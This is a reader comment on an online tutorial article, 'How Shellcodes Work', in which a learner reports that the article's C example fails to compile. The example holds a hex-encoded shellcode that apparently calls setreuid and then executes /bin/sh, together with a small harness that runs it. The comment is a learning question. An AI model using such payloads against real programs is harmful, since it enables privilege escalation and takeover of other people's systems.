ONJava.com -- The Independent Source for Enterprise Java
oreilly.comSafari Books Online.Conferences.

advertisement

AddThis Social Bookmark Button
Article:
  How Shellcodes Work
Subject:   Problem compiling c example.
Date:   2006-05-22 07:25:54
From:   Kza
First C example:
char code[]=
"\xb8\x46\x00\x00\x00\xbb\x00\x00\x00\x00\xb9\x00\x00\x00\x00\xcd"
"\x80\xe9\x15\x00\x00\x00\x5b\xb8\x0b\x00\x00\x00\x68\x00\x00\x00"
"\x00\x53\x89\xe1\xba\x00\x00\x00\x00\xcd\x80\xe8\xe6\xff\xff\xff"
"\x2f\x62\x69\x6e\x2f\x73\x68\x00";


main() {
int (*shell)();
(int)shell = code;
shell();
}


Gives compiler error:
shellApp.c: In function ‘main’:
shellApp.c:9: error: invalid lvalue in assignment


1 to 2 of 2
  1. Problem compiling c example.
    2008-08-16 16:00:04  lwante [View]

  2. Problem compiling c example.
    2006-05-22 12:56:19  gryzlo [View]

1 to 2 of 2